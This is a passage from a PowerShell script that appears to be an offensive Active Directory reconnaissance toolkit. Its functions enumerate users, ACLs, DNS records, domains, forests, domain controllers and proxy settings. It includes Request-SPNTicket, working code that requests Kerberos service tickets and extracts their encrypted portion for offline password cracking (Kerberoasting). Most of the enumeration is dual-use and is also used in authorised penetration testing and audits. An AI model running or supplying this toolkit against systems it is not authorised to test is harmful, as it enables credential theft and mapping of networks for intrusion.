$UACValues.Add("INTERDOMAIN\_TRUST\_ACCOUNT", 2048)

$UACValues.Add("WORKSTATION\_TRUST\_ACCOUNT", 4096)

$UACValues.Add("SERVER\_TRUST\_ACCOUNT", 8192)

$UACValues.Add("DONT\_EXPIRE\_PASSWORD", 65536)

$UACValues.Add("MNS\_LOGON\_ACCOUNT", 131072)

$UACValues.Add("SMARTCARD\_REQUIRED", 262144)

$UACValues.Add("TRUSTED\_FOR\_DELEGATION", 524288)

$UACValues.Add("NOT\_DELEGATED", 1048576)

$UACValues.Add("USE\_DES\_KEY\_ONLY", 2097152)

$UACValues.Add("DONT\_REQ\_PREAUTH", 4194304)

$UACValues.Add("PASSWORD\_EXPIRED", 8388608)

$UACValues.Add("TRUSTED\_TO\_AUTH\_FOR\_DELEGATION", 16777216)

$UACValues.Add("PARTIAL\_SECRETS\_ACCOUNT", 67108864)

}

process {

$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary

if($Value -is [Int]) {

$IntValue = $Value

}

elseif ($Value -is [PSCustomObject]) {

if($Value.useraccountcontrol) {

$IntValue = $Value.useraccountcontrol

}

}

else {

Write-Warning "Invalid object input for -Value : $Value"

return $Null

}

if($ShowAll) {

foreach ($UACValue in $UACValues.GetEnumerator()) {

if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {

$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")

}

else {

$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")

}

}

}

else {

foreach ($UACValue in $UACValues.GetEnumerator()) {

if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {

$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")

}

}

}

$ResultUACValues

}

}

filter Get-Proxy {

<#

.SYNOPSIS

Enumerates the proxy server and WPAD conents for the current user.

.PARAMETER ComputerName

The computername to enumerate proxy settings on, defaults to local host.

.EXAMPLE

PS C:\> Get-Proxy

Returns the current proxy settings.

#>

param(

[Parameter(ValueFromPipeline=$True)]

[ValidateNotNullOrEmpty()]

[String]

$ComputerName = $ENV:COMPUTERNAME

)

try {

$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)

$RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")

$ProxyServer = $RegKey.GetValue('ProxyServer')

$AutoConfigURL = $RegKey.GetValue('AutoConfigURL')

$Wpad = ""

if($AutoConfigURL -and ($AutoConfigURL -ne "")) {

try {

$Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)

}

catch {

Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"

}

}

if($ProxyServer -or $AutoConfigUrl) {

$Properties = @{

'ProxyServer' = $ProxyServer

'AutoConfigURL' = $AutoConfigURL

'Wpad' = $Wpad

}

New-Object -TypeName PSObject -Property $Properties

}

else {

Write-Warning "No proxy settings found for $ComputerName"

}

}

catch {

Write-Warning "Error enumerating proxy settings for $ComputerName : $\_"

}

}

function Request-SPNTicket {

<#

.SYNOPSIS

Request the kerberos ticket for a specified service principal name (SPN).

.PARAMETER SPN

The service principal name to request the ticket for. Required.

.PARAMETER EncPart

Switch. Return the encrypted portion of the ticket (cipher).

.EXAMPLE

PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"

Request a kerberos service ticket for the specified SPN.

.EXAMPLE

PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart

Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.

.EXAMPLE

PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket

Request kerberos service tickets for all SPNs passed on the pipeline.

.EXAMPLE

PS C:\> Get-NetUser -SPN | Request-SPNTicket

Request kerberos service tickets for all users with non-null SPNs.

#>

[CmdletBinding()]

Param (

[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]

[Alias('ServicePrincipalName')]

[String[]]

$SPN,

[Alias('EncryptedPart')]

[Switch]

$EncPart

)

begin {

Add-Type -AssemblyName System.IdentityModel

}

process {

ForEach($UserSPN in $SPN) {

Write-Verbose "Requesting ticket for: $UserSPN"

if (!$EncPart) {

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN

}

else {

$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN

$TicketByteStream = $Ticket.GetRequest()

if ($TicketByteStream)

{

$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"

[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.\*?)04820...(.\*)','$2') -Split "A48201"

$Parts.RemoveAt($Parts.Count - 1)

$Parts -join "A48201"

break

}

}

}

}

}

function Get-PathAcl {

<#

.SYNOPSIS

Enumerates the ACL for a given file path.

.PARAMETER Path

The local/remote path to enumerate the ACLs for.

.PARAMETER Recurse

If any ACL results are groups, recurse and retrieve user membership.

.EXAMPLE

PS C:\> Get-PathAcl "\\SERVER\Share\"

Returns ACLs for the given UNC share.

#>

[CmdletBinding()]

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

$Path,

[Switch]

$Recurse

)

begin {

function Convert-FileRight {

# From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights

[CmdletBinding()]

param(

[Int]

$FSR

)

$AccessMask = @{

[uint32]'0x80000000' = 'GenericRead'

[uint32]'0x40000000' = 'GenericWrite'

[uint32]'0x20000000' = 'GenericExecute'

[uint32]'0x10000000' = 'GenericAll'

[uint32]'0x02000000' = 'MaximumAllowed'

[uint32]'0x01000000' = 'AccessSystemSecurity'

[uint32]'0x00100000' = 'Synchronize'

[uint32]'0x00080000' = 'WriteOwner'

[uint32]'0x00040000' = 'WriteDAC'

[uint32]'0x00020000' = 'ReadControl'

[uint32]'0x00010000' = 'Delete'

[uint32]'0x00000100' = 'WriteAttributes'

[uint32]'0x00000080' = 'ReadAttributes'

[uint32]'0x00000040' = 'DeleteChild'

[uint32]'0x00000020' = 'Execute/Traverse'

[uint32]'0x00000010' = 'WriteExtendedAttributes'

[uint32]'0x00000008' = 'ReadExtendedAttributes'

[uint32]'0x00000004' = 'AppendData/AddSubdirectory'

[uint32]'0x00000002' = 'WriteData/AddFile'

[uint32]'0x00000001' = 'ReadData/ListDirectory'

}

$SimplePermissions = @{

[uint32]'0x1f01ff' = 'FullControl'

[uint32]'0x0301bf' = 'Modify'

[uint32]'0x0200a9' = 'ReadAndExecute'

[uint32]'0x02019f' = 'ReadAndWrite'

[uint32]'0x020089' = 'Read'

[uint32]'0x000116' = 'Write'

}

$Permissions = @()

# get simple permission

$Permissions += $SimplePermissions.Keys | % {

if (($FSR -band $\_) -eq $\_) {

$SimplePermissions[$\_]

$FSR = $FSR -band (-not $\_)

}

}

# get remaining extended permissions

$Permissions += $AccessMask.Keys |

? { $FSR -band $\_ } |

% { $AccessMask[$\_] }

($Permissions | ?{$\_}) -join ","

}

}

process {

try {

$ACL = Get-Acl -Path $Path

$ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {

$Names = @()

if ($\_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {

$Object = Get-ADObject -SID $\_.IdentityReference

$Names = @()

$SIDs = @($Object.objectsid)

if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {

$SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid

}

$SIDs | ForEach-Object {

$Names += ,@($\_, (Convert-SidToName $\_))

}

}

else {

$Names += ,@($\_.IdentityReference.Value, (Convert-SidToName $\_.IdentityReference.Value))

}

ForEach($Name in $Names) {

$Out = New-Object PSObject

$Out | Add-Member Noteproperty 'Path' $Path

$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $\_.FileSystemRights.value\_\_)

$Out | Add-Member Noteproperty 'IdentityReference' $Name[1]

$Out | Add-Member Noteproperty 'IdentitySID' $Name[0]

$Out | Add-Member Noteproperty 'AccessControlType' $\_.AccessControlType

$Out

}

}

}

catch {

Write-Warning $\_

}

}

}

filter Get-NameField {

<#

.SYNOPSIS

Helper that attempts to extract appropriate field names from

passed computer objects.

.PARAMETER Object

The passed object to extract name fields from.

.PARAMETER DnsHostName

A DnsHostName to extract through ValueFromPipelineByPropertyName.

.PARAMETER Name

A Name to extract through ValueFromPipelineByPropertyName.

.EXAMPLE

PS C:\> Get-NetComputer -FullData | Get-NameField

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]

[Object]

$Object,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[String]

$DnsHostName,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[String]

$Name

)

if($PSBoundParameters['DnsHostName']) {

$DnsHostName

}

elseif($PSBoundParameters['Name']) {

$Name

}

elseif($Object) {

if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {

# objects from Get-NetComputer

$Object.dnshostname

}

elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {

# objects from Get-NetDomainController

$Object.name

}

else {

# strings and catch alls

$Object

}

}

else {

return $Null

}

}

function Convert-LDAPProperty {

<#

.SYNOPSIS

Helper that converts specific LDAP property result fields.

Used by several of the Get-Net\* function.

.PARAMETER Properties

Properties object to extract out LDAP fields for display.

#>

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[ValidateNotNullOrEmpty()]

$Properties

)

$ObjectProperties = @{}

$Properties.PropertyNames | ForEach-Object {

if (($\_ -eq "objectsid") -or ($\_ -eq "sidhistory")) {

# convert the SID to a string

$ObjectProperties[$\_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$\_][0],0)).Value

}

elseif($\_ -eq "objectguid") {

# convert the GUID to a string

$ObjectProperties[$\_] = (New-Object Guid (,$Properties[$\_][0])).Guid

}

elseif( ($\_ -eq "lastlogon") -or ($\_ -eq "lastlogontimestamp") -or ($\_ -eq "pwdlastset") -or ($\_ -eq "lastlogoff") -or ($\_ -eq "badPasswordTime") ) {

# convert timestamps

if ($Properties[$\_][0] -is [System.MarshalByRefObject]) {

# if we have a System.\_\_ComObject

$Temp = $Properties[$\_][0]

[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)

[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)

$ObjectProperties[$\_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))

}

else {

$ObjectProperties[$\_] = ([datetime]::FromFileTime(($Properties[$\_][0])))

}

}

elseif($Properties[$\_][0] -is [System.MarshalByRefObject]) {

# try to convert misc com objects

$Prop = $Properties[$\_]

try {

$Temp = $Prop[$\_][0]

Write-Verbose $\_

[Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)

[Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)

$ObjectProperties[$\_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)

}

catch {

$ObjectProperties[$\_] = $Prop[$\_]

}

}

elseif($Properties[$\_].count -eq 1) {

$ObjectProperties[$\_] = $Properties[$\_][0]

}

else {

$ObjectProperties[$\_] = $Properties[$\_]

}

}

New-Object -TypeName PSObject -Property $ObjectProperties

}

########################################################

#

# Domain info functions below.

#

########################################################

filter Get-DomainSearcher {

<#

.SYNOPSIS

Helper used by various functions that takes an ADSpath and

domain specifier and builds the correct ADSI searcher object.

.PARAMETER Domain

The domain to use for the query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ADSprefix

Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-DomainSearcher -Domain testlab.local

.EXAMPLE

PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[String]

$ADSprefix,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

if(-not $Credential) {

if(-not $Domain) {

$Domain = (Get-NetDomain).name

}

elseif(-not $DomainController) {

try {

# if there's no -DomainController specified, try to pull the primary DC to reflect queries through

$DomainController = ((Get-NetDomain).PdcRoleOwner).Name

}

catch {

throw "Get-DomainSearcher: Error in retrieving PDC for current domain"

}

}

}

elseif (-not $DomainController) {

# if a DC isn't specified

try {

$DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name

}

catch {

throw "Get-DomainSearcher: Error in retrieving PDC for current domain"

}

if(!$DomainController) {

throw "Get-DomainSearcher: Error in retrieving PDC for current domain"

}

}

$SearchString = "LDAP://"

if($DomainController) {

$SearchString += $DomainController

if($Domain){

$SearchString += '/'

}

}

if($ADSprefix) {

$SearchString += $ADSprefix + ','

}

if($ADSpath) {

if($ADSpath -Match '^GC://') {

# if we're searching the global catalog

$DN = $AdsPath.ToUpper().Trim('/')

$SearchString = ''

}

else {

if($ADSpath -match '^LDAP://') {

if($ADSpath -match "LDAP://.+/.+") {

$SearchString = ''

}

else {

$ADSpath = $ADSpath.Substring(7)

}

}

$DN = $ADSpath

}

}

else {

if($Domain -and ($Domain.Trim() -ne "")) {

$DN = "DC=$($Domain.Replace('.', ',DC='))"

}

}

$SearchString += $DN

Write-Verbose "Get-DomainSearcher search string: $SearchString"

if($Credential) {

Write-Verbose "Using alternate credentials for LDAP connection"

$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)

$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)

}

else {

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)

}

$Searcher.PageSize = $PageSize

$Searcher.CacheResults = $False

$Searcher

}

filter Convert-DNSRecord {

<#

.SYNOPSIS

Decodes a binary DNS record.

Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1

.PARAMETER DNSRecord

The domain to query for zones, defaults to the current domain.

.LINK

https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1

#>

param(

[Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]

[Byte[]]

$DNSRecord

)

function Get-Name {

# modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1

[CmdletBinding()]

param(

[Byte[]]

$Raw

)

[Int]$Length = $Raw[0]

[Int]$Segments = $Raw[1]

[Int]$Index = 2

[String]$Name = ""

while ($Segments-- -gt 0)

{

[Int]$SegmentLength = $Raw[$Index++]

while ($SegmentLength-- -gt 0) {

$Name += [Char]$Raw[$Index++]

}

$Name += "."

}

$Name

}

$RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)

$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)

$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)

$TTLRaw = $DNSRecord[12..15]

# reverse for big endian

$Null = [array]::Reverse($TTLRaw)

$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)

$Age = [BitConverter]::ToUInt32($DNSRecord, 20)

if($Age -ne 0) {

$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()

}

else {

$TimeStamp = "[static]"

}

$DNSRecordObject = New-Object PSObject

if($RDataType -eq 1) {

$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]

$Data = $IP

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'

}

elseif($RDataType -eq 2) {

$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]

$Data = $NSName

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'

}

elseif($RDataType -eq 5) {

$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]

$Data = $Alias

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'

}

elseif($RDataType -eq 6) {

# TODO: how to implement properly? nested object?

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'

}

elseif($RDataType -eq 12) {

$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]

$Data = $Ptr

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'

}

elseif($RDataType -eq 13) {

# TODO: how to implement properly? nested object?

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'

}

elseif($RDataType -eq 15) {

# TODO: how to implement properly? nested object?

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'

}

elseif($RDataType -eq 16) {

[string]$TXT = ""

[int]$SegmentLength = $DNSRecord[24]

$Index = 25

while ($SegmentLength-- -gt 0) {

$TXT += [char]$DNSRecord[$index++]

}

$Data = $TXT

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'

}

elseif($RDataType -eq 28) {

# TODO: how to implement properly? nested object?

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'

}

elseif($RDataType -eq 33) {

# TODO: how to implement properly? nested object?

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'

}

else {

$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))

$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'

}

$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial

$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL

$DNSRecordObject | Add-Member Noteproperty 'Age' $Age

$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp

$DNSRecordObject | Add-Member Noteproperty 'Data' $Data

$DNSRecordObject

}

filter Get-DNSZone {

<#

.SYNOPSIS

Enumerates the Active Directory DNS zones for a given domain.

.PARAMETER Domain

The domain to query for zones, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.PARAMETER FullData

Switch. Return full computer objects instead of just system names (the default).

.EXAMPLE

PS C:\> Get-DNSZone

Retrieves the DNS zones for the current domain.

.EXAMPLE

PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local

Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries

through the primary.testlab.local domain controller.

#>

param(

[Parameter(Position=0, ValueFromPipeline=$True)]

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential,

[Switch]

$FullData

)

$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential

$DNSSearcher.filter="(objectClass=dnsZone)"

if($DNSSearcher) {

$Results = $DNSSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# convert/process the LDAP fields for each result

$Properties = Convert-LDAPProperty -Properties $\_.Properties

$Properties | Add-Member NoteProperty 'ZoneName' $Properties.name

if ($FullData) {

$Properties

}

else {

$Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged

}

}

$Results.dispose()

$DNSSearcher.dispose()

}

$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"

$DNSSearcher.filter="(objectClass=dnsZone)"

if($DNSSearcher) {

$Results = $DNSSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# convert/process the LDAP fields for each result

$Properties = Convert-LDAPProperty -Properties $\_.Properties

$Properties | Add-Member NoteProperty 'ZoneName' $Properties.name

if ($FullData) {

$Properties

}

else {

$Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged

}

}

$Results.dispose()

$DNSSearcher.dispose()

}

}

filter Get-DNSRecord {

<#

.SYNOPSIS

Enumerates the Active Directory DNS records for a given zone.

.PARAMETER ZoneName

The zone to query for records (which can be enumearted with Get-DNSZone). Required.

.PARAMETER Domain

The domain to query for zones, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-DNSRecord -ZoneName testlab.local

Retrieve all records for the testlab.local zone.

.EXAMPLE

PS C:\> Get-DNSZone | Get-DNSRecord

Retrieve all records for all zones in the current domain.

.EXAMPLE

PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local

Retrieve all records for all zones in the dev.testlab.local domain.

#>

param(

[Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]

[String]

$ZoneName,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"

$DNSSearcher.filter="(objectClass=dnsNode)"

if($DNSSearcher) {

$Results = $DNSSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

try {

# convert/process the LDAP fields for each result

$Properties = Convert-LDAPProperty -Properties $\_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged

$Properties | Add-Member NoteProperty 'ZoneName' $ZoneName

# convert the record and extract the properties

if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {

# TODO: handle multiple nested records properly?

$Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]

}

else {

$Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord

}

if($Record) {

$Record.psobject.properties | ForEach-Object {

$Properties | Add-Member NoteProperty $\_.Name $\_.Value

}

}

$Properties

}

catch {

Write-Warning "ERROR: $\_"

$Properties

}

}

$Results.dispose()

$DNSSearcher.dispose()

}

}

filter Get-NetDomain {

<#

.SYNOPSIS

Returns a given domain object.

.PARAMETER Domain

The domain name to query for, defaults to the current domain.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetDomain -Domain testlab.local

.EXAMPLE

PS C:\> "testlab.local" | Get-NetDomain

.LINK

http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Domain,

[Management.Automation.PSCredential]

$Credential

)

if($Credential) {

Write-Verbose "Using alternate credentials for Get-NetDomain"

if(!$Domain) {

# if no domain is supplied, extract the logon domain from the PSCredential passed

$Domain = $Credential.GetNetworkCredential().Domain

Write-Verbose "Extracted domain '$Domain' from -Credential"

}

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)

try {

[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)

}

catch {

Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."

$Null

}

}

elseif($Domain) {

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)

try {

[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)

}

catch {

Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."

$Null

}

}

else {

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

}

}

filter Get-NetForest {

<#

.SYNOPSIS

Returns a given forest object.

.PARAMETER Forest

The forest name to query for, defaults to the current domain.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetForest -Forest external.domain

.EXAMPLE

PS C:\> "external.domain" | Get-NetForest

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Forest,

[Management.Automation.PSCredential]

$Credential

)

if($Credential) {

Write-Verbose "Using alternate credentials for Get-NetForest"

if(!$Forest) {

# if no domain is supplied, extract the logon domain from the PSCredential passed

$Forest = $Credential.GetNetworkCredential().Domain

Write-Verbose "Extracted domain '$Forest' from -Credential"

}

$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)

try {

$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)

}

catch {

Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."

$Null

}

}

elseif($Forest) {

$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)

try {

$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)

}

catch {

Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."

return $Null

}

}

else {

# otherwise use the current forest

$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

}

if($ForestObject) {

# get the SID of the forest root

$ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value

$Parts = $ForestSid -Split "-"

$ForestSid = $Parts[0..$($Parts.length-2)] -join "-"

$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid

$ForestObject

}

}

filter Get-NetForestDomain {

<#

.SYNOPSIS

Return all domains for a given forest.

.PARAMETER Forest

The forest name to query domain for.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetForestDomain

.EXAMPLE

PS C:\> Get-NetForestDomain -Forest external.local

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Forest,

[Management.Automation.PSCredential]

$Credential

)

$ForestObject = Get-NetForest -Forest $Forest -Credential $Credential

if($ForestObject) {

$ForestObject.Domains

}

}

filter Get-NetForestCatalog {

<#

.SYNOPSIS

Return all global catalogs for a given forest.

.PARAMETER Forest

The forest name to query domain for.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetForestCatalog

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Forest,

[Management.Automation.PSCredential]

$Credential

)

$ForestObject = Get-NetForest -Forest $Forest -Credential $Credential

if($ForestObject) {

$ForestObject.FindAllGlobalCatalogs()

}

}

filter Get-NetDomainController {

<#

.SYNOPSIS

Return the current domain controllers for the active domain.

.PARAMETER Domain

The domain to query for domain controllers, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER LDAP

Switch. Use LDAP queries to determine the domain controllers.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetDomainController -Domain 'test.local'

Determine the domain controllers for 'test.local'.

.EXAMPLE

PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP

Determine the domain controllers for 'test.local' using LDAP queries.

.EXAMPLE

PS C:\> 'test.local' | Get-NetDomainController

Determine the domain controllers for 'test.local'.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Domain,

[String]

$DomainController,

[Switch]

$LDAP,

[Management.Automation.PSCredential]

$Credential

)

if($LDAP -or $DomainController) {

# filter string to return all domain controllers

Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'

}

else {

$FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential

if($FoundDomain) {

$Founddomain.DomainControllers

}

}

}

########################################################

#

# "net \*" replacements and other fun start below

#

########################################################

function Get-NetUser {

<#

.SYNOPSIS

Query information for a given user or users in the domain

using ADSI and LDAP. Another -Domain can be specified to

query for users across a trust.

Replacement for "net users /domain"

.PARAMETER UserName

Username filter string, wildcards accepted.

.PARAMETER Domain

The domain to query for users, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER AdminCount

Switch. Return users with adminCount=1.

.PARAMETER SPN

Switch. Only return user objects with non-null service principal names.

.PARAMETER Unconstrained

